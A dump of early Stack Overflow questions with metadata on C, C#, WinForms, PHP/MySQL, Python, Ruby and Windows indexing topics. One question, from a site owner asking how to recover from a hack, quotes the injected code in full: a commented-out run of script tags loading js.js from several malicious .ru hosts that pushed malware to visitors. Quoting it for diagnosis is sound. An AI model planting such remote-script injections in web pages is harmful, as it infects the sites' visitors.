08/05/2008 20:59:29
432
08/05/2008 17:18:46
57
8
How do you printf an unsigned long long int?
#include <stdio.h> int main() { unsigned long long int num = 285212672; //FYI: fits in 29 bits int normalInt = 5; printf("My number is %d bytes wide and its value is %ul. A normal number is %d.\n", sizeof(num), num, normalInt); return 0; } Output: My number is 8 bytes wide and its value is 285212672l. A normal number is 0. I assume this unexpected result is from printing the unsigned long long int. How do you printf an unsigned long long int?
c
syntax
null
null
null
null
open
How do you printf an unsigned long long int? === #include <stdio.h> int main() { unsigned long long int num = 285212672; //FYI: fits in 29 bits int normalInt = 5; printf("My number is %d bytes wide and its value is %ul. A normal number is %d.\n", sizeof(num), num, normalInt); return 0; } Output: My number is 8 bytes wide and its value is 285212672l. A normal number is 0. I assume this unexpected result is from printing the unsigned long long int. How do you printf an unsigned long long int?
0
2,861
08/05/2008 21:09:11
116
08/02/2008 05:51:57
595
46
Options for HTML scraping?
I'm thinking of trying Beautiful Soup, a python package for HTML scraping. Are there any other HTML scraping packages I should be looking at? Python is not a requirement, I'm actually interested in hearing about other languages as well.
html
null
null
null
null
null
open
Options for HTML scraping? === I'm thinking of trying Beautiful Soup, a python package for HTML scraping. Are there any other HTML scraping packages I should be looking at? Python is not a requirement, I'm actually interested in hearing about other languages as well.
0
2,871
08/05/2008 21:19:03
206
08/03/2008 13:35:14
124
17
Reading a C/C++ data structure in C# from a byte array
What would be the best way to fill a C# struct from a byte[] array where the data was from a C/C++ struct? The C struct would look something like this (my C is very rusty): typedef OldStuff { CHAR Name[8]; UInt32 User; CHAR Location[8]; UInt32 TimeStamp; UInt32 Sequence; CHAR Tracking[16]; CHAR Filler[12]; } And would fill something like this: [StructLayout(LayoutKind.Explicit, Size = 56, Pack = 1)] public struct NewStuff { [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] [FieldOffset(0)] public string Name; [MarshalAs(UnmanagedType.U4)] [FieldOffset(8)] public uint User; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] [FieldOffset(12)] public string Location; [MarshalAs(UnmanagedType.U4)] [FieldOffset(20)] public uint TimeStamp; [MarshalAs(UnmanagedType.U4)] [FieldOffset(24)] public uint Sequence; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 16)] [FieldOffset(28)] public string Tracking; } What is best way to copy OldStuff to NewStuff, if OldStuff was passed as byte[] array? I'm currently doing something like the following, but it feels kind of clunky. GCHandle handle; NewStuff MyStuff; int BufferSize = Marshal.SizeOf(typeof(NewStuff)); byte[] buff = new byte[BufferSize]; Array.Copy(SomeByteArray, 0, buff, 0, BufferSize); handle = GCHandle.Alloc(buff, GCHandleType.Pinned); MyStuff = (NewStuff)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(NewStuff)); handle.Free(); Is there better way to accomplish this?
c#
.net
datastructure
null
null
null
open
Reading a C/C++ data structure in C# from a byte array === What would be the best way to fill a C# struct from a byte[] array where the data was from a C/C++ struct? The C struct would look something like this (my C is very rusty): typedef OldStuff { CHAR Name[8]; UInt32 User; CHAR Location[8]; UInt32 TimeStamp; UInt32 Sequence; CHAR Tracking[16]; CHAR Filler[12]; } And would fill something like this: [StructLayout(LayoutKind.Explicit, Size = 56, Pack = 1)] public struct NewStuff { [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] [FieldOffset(0)] public string Name; [MarshalAs(UnmanagedType.U4)] [FieldOffset(8)] public uint User; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] [FieldOffset(12)] public string Location; [MarshalAs(UnmanagedType.U4)] [FieldOffset(20)] public uint TimeStamp; [MarshalAs(UnmanagedType.U4)] [FieldOffset(24)] public uint Sequence; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 16)] [FieldOffset(28)] public string Tracking; } What is best way to copy OldStuff to NewStuff, if OldStuff was passed as byte[] array? I'm currently doing something like the following, but it feels kind of clunky. GCHandle handle; NewStuff MyStuff; int BufferSize = Marshal.SizeOf(typeof(NewStuff)); byte[] buff = new byte[BufferSize]; Array.Copy(SomeByteArray, 0, buff, 0, BufferSize); handle = GCHandle.Alloc(buff, GCHandleType.Pinned); MyStuff = (NewStuff)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(NewStuff)); handle.Free(); Is there better way to accomplish this?
0
2,872
08/05/2008 21:19:37
446
08/05/2008 19:46:59
1
2
Possible to "spin off" several GUI threads? (Not halting the system at Application.Run)
**My Goal** I would like to have a main processing thread (non GUI), and be able to spin off GUIs in their own background threads as needed, and having my main non GUI thread keep working. Put another way, I want my main non GUI-thread to be the owner of the GUI-thread and not vice versa. I'm not sure this is even possible with Windows Forms(?) **Background** I have a component based system in which a controller dynamically load assemblies and instantiates and run classes implementing a common _IComponent_ interface with a single method _DoStuff()_ . It would be great if these components were allowed to start up their own Windows Forms GUIs. **Problem** When a component tries to fire up a GUI in _DoStuff()_ (the exact line of code is when the component runs Application.Run(theForm)) , the component and hence our system "hangs" at the Application.Run() line until the GUI is closed. Well, the just fired up GUI works fine, as expected. Example of components. One hasn't nothing to do with GUI, whilst the second fires up a cute windows with pink fluffy bunnies in them. public class MyComponent1: IComponent { public string DoStuff(...) { // write something to the database } } public class MyComponent2: IComponent public void DoStuff() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form()); // I want the thread to immediately return after the GUI // is fired up, so that my main thread can continue to work. } } I have tried this with no luck. public void DoStuff() { new Thread(ThreadedInitialize).Start() } private void ThreadedInitialize() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form()); } Is it possible to spin off a GUI and return after Application.Run()?
winforms
c#
.net
null
null
null
open
Possible to "spin off" several GUI threads? (Not halting the system at Application.Run) === **My Goal** I would like to have a main processing thread (non GUI), and be able to spin off GUIs in their own background threads as needed, and having my main non GUI thread keep working. Put another way, I want my main non GUI-thread to be the owner of the GUI-thread and not vice versa. I'm not sure this is even possible with Windows Forms(?) **Background** I have a component based system in which a controller dynamically load assemblies and instantiates and run classes implementing a common _IComponent_ interface with a single method _DoStuff()_ . It would be great if these components were allowed to start up their own Windows Forms GUIs. **Problem** When a component tries to fire up a GUI in _DoStuff()_ (the exact line of code is when the component runs Application.Run(theForm)) , the component and hence our system "hangs" at the Application.Run() line until the GUI is closed. Well, the just fired up GUI works fine, as expected. Example of components. One hasn't nothing to do with GUI, whilst the second fires up a cute windows with pink fluffy bunnies in them. public class MyComponent1: IComponent { public string DoStuff(...) { // write something to the database } } public class MyComponent2: IComponent public void DoStuff() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form()); // I want the thread to immediately return after the GUI // is fired up, so that my main thread can continue to work. } } I have tried this with no luck. public void DoStuff() { new Thread(ThreadedInitialize).Start() } private void ThreadedInitialize() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form()); } Is it possible to spin off a GUI and return after Application.Run()?
0
2,873
08/05/2008 21:19:40
381
08/05/2008 10:39:26
11
1
Choosing a static code analysis tool
I'm working on a project where I'm coding in C in a UNIX environment. I've been using the lint tool to check my source code. Lint has been around a long time (since 1979), can anyone suggest a more recent code analysis tool I could use ? Preferably a tool that is free.
c
testing
unix
null
null
null
open
Choosing a static code analysis tool === I'm working on a project where I'm coding in C in a UNIX environment. I've been using the lint tool to check my source code. Lint has been around a long time (since 1979), can anyone suggest a more recent code analysis tool I could use ? Preferably a tool that is free.
0
2,874
08/05/2008 21:19:57
441
08/05/2008 19:07:44
1
0
How to render a control to look like ComboBox with Visual Styles enabled?
I have a control that is modelled on a ComboBox. I want to render the control so that the control border looks like that of a standard Windows ComboBox. Specifically, I have followed the MSDN documentation and all the rendering of the control is correct except for rendering when the control is disabled. How can I get correct rendering of the control in a disabled state?
c#
.net
winforms
null
null
null
open
How to render a control to look like ComboBox with Visual Styles enabled? === I have a control that is modelled on a ComboBox. I want to render the control so that the control border looks like that of a standard Windows ComboBox. Specifically, I have followed the MSDN documentation and all the rendering of the control is correct except for rendering when the control is disabled. How can I get correct rendering of the control in a disabled state?
0
2,896
08/05/2008 21:41:18
271
08/04/2008 10:25:01
51
4
Project Suggestions
I'd like suggestions for a small project to work on this fall. Something I can work on a few hours a week that will keep me entertained and help me learn new things about a particular language, coding style, etc. I like to program in PHP and Java but am very interested in coding something using Python or Perl. Any good ideas?
project
challenge
null
null
null
null
open
Project Suggestions === I'd like suggestions for a small project to work on this fall. Something I can work on a few hours a week that will keep me entertained and help me learn new things about a particular language, coding style, etc. I like to program in PHP and Java but am very interested in coding something using Python or Perl. Any good ideas?
0
2,898
08/05/2008 21:42:37
25
08/01/2008 12:15:23
100
22
Best Text Editor For Linux (Besides Vi)?
Let me preface this question by saying I use TextMate on Mac OSX for my text needs and I am in love with it. Anything comparable on the Linux platform? I'll mostly use it for coding python/ruby. Doing a google search yielded outdated answers.
texteditor
linux
ruby
python
null
null
open
Best Text Editor For Linux (Besides Vi)? === Let me preface this question by saying I use TextMate on Mac OSX for my text needs and I am in love with it. Anything comparable on the Linux platform? I'll mostly use it for coding python/ruby. Doing a google search yielded outdated answers.
0
2,900
08/05/2008 21:45:11
454
08/04/2008 08:52:03
1
0
MySQL/Apache Error in PHP MySQL query
I am getting the following error: > Access denied for user 'apache'@'localhost' (using password: NO) When using the following code: <?php include("../includes/connect.php"); $query = "SELECT * from story"; $result = mysql_query($query) or die(mysql_error()); echo "<h1>Delete Story</h1>"; if (mysql_num_rows($result) > 0) { while($row = mysql_fetch_row($result)){ echo '<b>'.$row[1].'</b><span align="right"><a href="../process/delete_story.php?id='.$row[0].'">Delete</a></span>'; echo '<br /><i>'.$row[2].'</i>'; } } else { echo "No stories available."; } The connect.php file contains my MySQL connect calls that are working fine with my INSERT queries in another portion of the software. If I comment out the $result = mysql_query line, then it goes through to the else statement. So, it is that line or the content in the if. I have been searching the net for any solutions, and most seem to be related to too many MySQL connections or that the user I am logging into MySQL as does not have permission. I have checked both. I can still perform my other queries elsewhere in the software, and I have verified that the account has the correct permissions. I think I just need an outside perspective as I have been staring at this little block of code all day. If any more information is needed, just let me know.
php
mysql
null
null
null
null
open
MySQL/Apache Error in PHP MySQL query === I am getting the following error: > Access denied for user 'apache'@'localhost' (using password: NO) When using the following code: <?php include("../includes/connect.php"); $query = "SELECT * from story"; $result = mysql_query($query) or die(mysql_error()); echo "<h1>Delete Story</h1>"; if (mysql_num_rows($result) > 0) { while($row = mysql_fetch_row($result)){ echo '<b>'.$row[1].'</b><span align="right"><a href="../process/delete_story.php?id='.$row[0].'">Delete</a></span>'; echo '<br /><i>'.$row[2].'</i>'; } } else { echo "No stories available."; } The connect.php file contains my MySQL connect calls that are working fine with my INSERT queries in another portion of the software. If I comment out the $result = mysql_query line, then it goes through to the else statement. So, it is that line or the content in the if. I have been searching the net for any solutions, and most seem to be related to too many MySQL connections or that the user I am logging into MySQL as does not have permission. I have checked both. I can still perform my other queries elsewhere in the software, and I have verified that the account has the correct permissions. I think I just need an outside perspective as I have been staring at this little block of code all day. If any more information is needed, just let me know.
0
2,913
08/05/2008 21:58:51
277
08/04/2008 10:55:22
16
0
How to Test Web Code
Does anyone have some good hints for writing test code for database-backend development where there is a heavy dependency on state. Specifically, I want to write tests for code that retrieve records from the database, but the answers will depend on the data in the database (which may change over time). Do people usually make a separate development system with a 'frozen' database so that any given function should always return the exact same result set? I am quite sure this is not a new issue, so I would be very interested to learn from other people's experience. Are there good articles out there that discuss this issue of web-based development in general? I usually write PHP code, but I would expect all of these issues are largely language and framework agnostic.
webdevelopment
null
null
null
null
null
open
How to Test Web Code === Does anyone have some good hints for writing test code for database-backend development where there is a heavy dependency on state. Specifically, I want to write tests for code that retrieve records from the database, but the answers will depend on the data in the database (which may change over time). Do people usually make a separate development system with a 'frozen' database so that any given function should always return the exact same result set? I am quite sure this is not a new issue, so I would be very interested to learn from other people's experience. Are there good articles out there that discuss this issue of web-based development in general? I usually write PHP code, but I would expect all of these issues are largely language and framework agnostic.
0
2,914
08/05/2008 22:01:36
434
08/05/2008 17:42:54
63
6
How can I detect if a browser is blocking an popup?
Occasionally, I've come across a webpage that tries to pop open a new window (for user input, or something important), but the popup blocker prevents this from happening. What methods can the calling window use to make sure the new window launched properly?
webdevelopment
null
null
null
null
null
open
How can I detect if a browser is blocking an popup? === Occasionally, I've come across a webpage that tries to pop open a new window (for user input, or something important), but the popup blocker prevents this from happening. What methods can the calling window use to make sure the new window launched properly?
0
2,931
08/05/2008 22:23:16
360
08/05/2008 03:51:05
16
1
Getting started with a custom JXTA PeerGroup
I have been working with JXTA 2.3 for the last year or so for a peer-to-peer computing platform I am developing. I am migrating to JXTA 2.5 and in the process I am trying to clean up a lot of my use of JXTA. For the most part, I approached JXTA with a "just make it work" attitude. I used it to jumpstart creating and managing my peer-to-peer overlay network and providing basic communication services. I would like to use it in a more "JXTA" way since I am making changes to move to 2.5 anyway. My first step would be a basic creation of a custom PeerGroup. I see some new new mechanisms that are using the META-INF.services infrastructure of Java. Should I be listing a related PeerGroup implementing object here with a GUID in net.jxta.platform.Module? As I understand it, if I do this, when a group with a spec ID matching the GUID is encountered and joined or created it should automatically use the matching object. I should be able to just manually tie a PeerGroup object to the group but this new method using META-INF seems to be a lot easier to manage. Does anyone have any pointers or examples of using this infrastructure for PeerGroup implementation? Also, some general information on the META-INF.services mechanism in Java would be helpful. Stephen
java
jxta
null
null
null
null
open
Getting started with a custom JXTA PeerGroup === I have been working with JXTA 2.3 for the last year or so for a peer-to-peer computing platform I am developing. I am migrating to JXTA 2.5 and in the process I am trying to clean up a lot of my use of JXTA. For the most part, I approached JXTA with a "just make it work" attitude. I used it to jumpstart creating and managing my peer-to-peer overlay network and providing basic communication services. I would like to use it in a more "JXTA" way since I am making changes to move to 2.5 anyway. My first step would be a basic creation of a custom PeerGroup. I see some new new mechanisms that are using the META-INF.services infrastructure of Java. Should I be listing a related PeerGroup implementing object here with a GUID in net.jxta.platform.Module? As I understand it, if I do this, when a group with a spec ID matching the GUID is encountered and joined or created it should automatically use the matching object. I should be able to just manually tie a PeerGroup object to the group but this new method using META-INF seems to be a lot easier to manage. Does anyone have any pointers or examples of using this infrastructure for PeerGroup implementation? Also, some general information on the META-INF.services mechanism in Java would be helpful. Stephen
0
2,933
08/05/2008 22:26:00
1,384,652
08/01/2008 12:01:23
222
25
An executable Python app
Python works on multiple platforms and can be used for desktop and web applications, thus I conclude that there is some way to compile it into an executable for Mac, Windows and Linux. The problem being I have no idea where to start or how to write a GUI with it, can anybody shed some light on this and point me in the right direction please?
python
null
null
null
null
04/25/2012 16:16:52
not constructive
An executable Python app === Python works on multiple platforms and can be used for desktop and web applications, thus I conclude that there is some way to compile it into an executable for Mac, Windows and Linux. The problem being I have no idea where to start or how to write a GUI with it, can anybody shed some light on this and point me in the right direction please?
4
2,942
08/05/2008 22:40:25
100
08/01/2008 20:41:59
61
5
HSL in .net
What tools have you used for working with HSL colors in .net?
.net
colors
rgb
hsl
null
null
open
HSL in .net === What tools have you used for working with HSL colors in .net?
0
2,946
08/05/2008 22:47:22
227
08/03/2008 17:53:19
164
19
Incomplete results with Turkish characters in Indexing Service
*Finally I get to post my **ı**'s and **İ**'s as promised...* I've found that MS Indexing Service returns incomplete results when searching for documents with Turkish content. It seems to choke especially regarding the (incorrectly-named) [4I problem](http://en.wikipedia.org/wiki/Turkish_dotted_and_dotless_I). Apparently, MS has fixed this problem with a Windows 2000 <http://support.microsoft.com/kb/325333> service pack, but the bug seems to be resurrected with Windows XP & 2003. Anybody uses Indexing Service in their line of work? Similar problems with other non-English locales? Any solutions?
internationalization
searching
cisvc
indexingservice
turkish
null
open
Incomplete results with Turkish characters in Indexing Service === *Finally I get to post my **ı**'s and **İ**'s as promised...* I've found that MS Indexing Service returns incomplete results when searching for documents with Turkish content. It seems to choke especially regarding the (incorrectly-named) [4I problem](http://en.wikipedia.org/wiki/Turkish_dotted_and_dotless_I). Apparently, MS has fixed this problem with a Windows 2000 <http://support.microsoft.com/kb/325333> service pack, but the bug seems to be resurrected with Windows XP & 2003. Anybody uses Indexing Service in their line of work? Similar problems with other non-English locales? Any solutions?
0
2,959
08/05/2008 23:16:30
227
08/03/2008 17:53:19
174
20
Indexing Service + MODI = Full-text over OCR? You wish!
Scenario: You have configured Indexing Service to index your files, which also include scanned images saved as hi-res TIFF files. You also have installed MS Office 2003+ and configured MS Office Document Imaging (MODI) correctly so you can perform OCR on your images and even embed the OCR'd text into TIFFs. Awesomeness: Indexing Service is able to index and find those TIFFs that you manually OCR'd and re-saved with text data (using MS Document Imaging tool). Suck(TM): Whatever you do, you cannot make the Indexing Service to OCR and index the TIFF files without text data. You scour the web, find out how to turn on MODI debugging, and see that CISVC *is* calling MODI but somehow nothing seems to happen. Hack: Turns out, Data Execution Prevention (DEP) which is deployed with Windows XP SP2 thinks MODI is malicious and refuses to let it do its magic. I have been able to remove the Suck(TM) by turning DEP off completely, but (even though DEP hasn't yet saved my posterior that I can remember) I found this solution to be inelegant (read: the customer's IT manager's gonna fry you, if xe hears about it). I'll share a better solution here, if I can come across it.
ocr
dep
cisvc
indexingservice
modi
null
open
Indexing Service + MODI = Full-text over OCR? You wish! === Scenario: You have configured Indexing Service to index your files, which also include scanned images saved as hi-res TIFF files. You also have installed MS Office 2003+ and configured MS Office Document Imaging (MODI) correctly so you can perform OCR on your images and even embed the OCR'd text into TIFFs. Awesomeness: Indexing Service is able to index and find those TIFFs that you manually OCR'd and re-saved with text data (using MS Document Imaging tool). Suck(TM): Whatever you do, you cannot make the Indexing Service to OCR and index the TIFF files without text data. You scour the web, find out how to turn on MODI debugging, and see that CISVC *is* calling MODI but somehow nothing seems to happen. Hack: Turns out, Data Execution Prevention (DEP) which is deployed with Windows XP SP2 thinks MODI is malicious and refuses to let it do its magic. I have been able to remove the Suck(TM) by turning DEP off completely, but (even though DEP hasn't yet saved my posterior that I can remember) I found this solution to be inelegant (read: the customer's IT manager's gonna fry you, if xe hears about it). I'll share a better solution here, if I can come across it.
0
2,968
08/05/2008 23:49:53
362
08/05/2008 04:38:30
16
1
What is the best way to parse strings in Java
I have some friends making a text-based game in Java (what the hell?), and they're looking for the best way to parse strings for commands. They've come across many methods and are wondering what would be the best way to go about things.
java
string
parse
null
null
null
open
What is the best way to parse strings in Java === I have some friends making a text-based game in Java (what the hell?), and they're looking for the best way to parse strings for commands. They've come across many methods and are wondering what would be the best way to go about things.
0
2,970
08/05/2008 23:55:25
58
08/01/2008 13:56:33
1,129
51
My website got hacked... What should I do?
My dad called me today and said people going to his website were getting 168 viruses trying to download to their computers. He isn't technical at all, and built the whole thing with a WYSIWYG editor. I popped his site open and viewed the source, and there was a line of Javascript includes at the bottom of the source right before the closing HTML tag. They included this file (among many others): http://www.98hs.ru/js.js <-- TURN OFF JAVASCRIPT BEFORE YOU GO TO THAT URL. So I commented it out for now. It turns out his ftp password was a plain dictionary word six letters long, so we think that's how it got hacked. We've changed his password to an 8+ digit non-word string (he wouldn't go for a passphrase since he is a hunt-n-peck typer). I did a [whois on 98hs.ru][1] and found it is hosted from a server in Chili. There is actually an e-mail address associated with it too, but I seriously doubt this person is the culprit. Probably just some other site that got hacked... I have no idea what to do at this point though as I've never dealt with this sort of thing before. Anyone have any suggestions? He was using plain jane un-secured ftp through webhost4life.com. I don't even see a way to *do* sftp on their site. I'm thinking his username and password got intercepted? **So, to make this more relevant to the community, what are the steps you should take/best practices you should follow to protect your website from getting hacked?** For the record, here is the line of code that "magically" got added to his file (and isn't in his file on his computer -- I've left it commented out just to make absolute sure it won't do anything on this page, although I'm sure Jeff would guard against this): <!--script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script--> [1]: http://whois.domaintools.com/98hs.ru
hacker
hacking
hacks
website
hijacked
03/06/2012 03:17:01
off topic
My website got hacked... What should I do? === My dad called me today and said people going to his website were getting 168 viruses trying to download to their computers. He isn't technical at all, and built the whole thing with a WYSIWYG editor. I popped his site open and viewed the source, and there was a line of Javascript includes at the bottom of the source right before the closing HTML tag. They included this file (among many others): http://www.98hs.ru/js.js <-- TURN OFF JAVASCRIPT BEFORE YOU GO TO THAT URL. So I commented it out for now. It turns out his ftp password was a plain dictionary word six letters long, so we think that's how it got hacked. We've changed his password to an 8+ digit non-word string (he wouldn't go for a passphrase since he is a hunt-n-peck typer). I did a [whois on 98hs.ru][1] and found it is hosted from a server in Chili. There is actually an e-mail address associated with it too, but I seriously doubt this person is the culprit. Probably just some other site that got hacked... I have no idea what to do at this point though as I've never dealt with this sort of thing before. Anyone have any suggestions? He was using plain jane un-secured ftp through webhost4life.com. I don't even see a way to *do* sftp on their site. I'm thinking his username and password got intercepted? **So, to make this more relevant to the community, what are the steps you should take/best practices you should follow to protect your website from getting hacked?** For the record, here is the line of code that "magically" got added to his file (and isn't in his file on his computer -- I've left it commented out just to make absolute sure it won't do anything on this page, although I'm sure Jeff would guard against this): <!--script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script--> [1]: http://whois.domaintools.com/98hs.ru
2
2,987
08/06/2008 00:55:48
324
08/04/2008 16:46:29
1
0
Bringing Window to the Front in C# using Win32 API
I am writing an application that needs to bring window of an external app to the foreground, and not necessarily steal focus (there is a setting the user can toggle to steal/not steal focus). What is the best way to go about this using the win32 API? I have tried SetForeground() but it always steals focus and does not consistenly work. What is the best way to go about this? Any thoughts?
c#
winapi
null
null
null
null
open
Bringing Window to the Front in C# using Win32 API === I am writing an application that needs to bring window of an external app to the foreground, and not necessarily steal focus (there is a setting the user can toggle to steal/not steal focus). What is the best way to go about this using the win32 API? I have tried SetForeground() but it always steals focus and does not consistenly work. What is the best way to go about this? Any thoughts?
0
2,988
08/06/2008 00:56:05
861
08/09/2008 19:00:40
1
0
What problems can be solved, or tackled more easily, using graphs and trees?
What are the most common problems that can be solved with both these data structures? It would be good for me to have also recommendations on books that: - Implement the structures - Implement and explain the reasoning of the algorithms that use them Thanks!
algorithm
datastructure
graph
tree
computer-science
null
open
What problems can be solved, or tackled more easily, using graphs and trees? === What are the most common problems that can be solved with both these data structures? It would be good for me to have also recommendations on books that: - Implement the structures - Implement and explain the reasoning of the algorithms that use them Thanks!
0
2,993
08/06/2008 01:07:52
155
08/02/2008 17:33:51
1
0
Reverse DNS in Ruby?
I'm in an environment with a lot of computers that haven't been properly inventoried. Basically, no one knows which IP goes with which mac address and which hostname. So I wrote the following: # This script goes down the entire IP range and attempts to # retrieve the Hostname and mac address and outputs them # into a file. Yay! require "socket" TwoOctets = "10.26" def computer_exists?(computerip) system("ping -c 1 -W 1 #{computerip}") end def append_to_file(line) file = File.open("output.txt", "a") file.puts(line) file.close end def getInfo(current_ip) begin if computer_exists?(current_ip) arp_output = `arp -v #{current_ip}` mac_addr = arp_output.to_s.match(/..:..:..:..:..:../) host_name = Socket.gethostbyname(current_ip) append_to_file("#{host_name[0]} - #{current_ip} - #{mac_addr}\n") end rescue SocketError => mySocketError append_to_file("unknown - #{current_ip} - #{mac_addr}") end end (6..8).each do |i| case i when 6 for j in (1..190) current_ip = "#{TwoOctets}.#{i}.#{j}" getInfo(current_ip) end when 7 for j in (1..255) current_ip = "#{TwoOctets}.#{i}.#{j}" getInfo(current_ip) end when 8 for j in (1..52) current_ip = "#{TwoOctets}.#{i}.#{j}" getInfo(current_ip) end end end Everything works except it does not find a Reverse DNS. Sample output that I'm getting is this: 10.26.6.12 - 10.26.6.12 - 00:11:11:9B:13:9F 10.26.6.17 - 10.26.6.17 - 08:00:69:9A:97:C3 10.26.6.18 - 10.26.6.18 - 08:00:69:93:2C:E2 If I 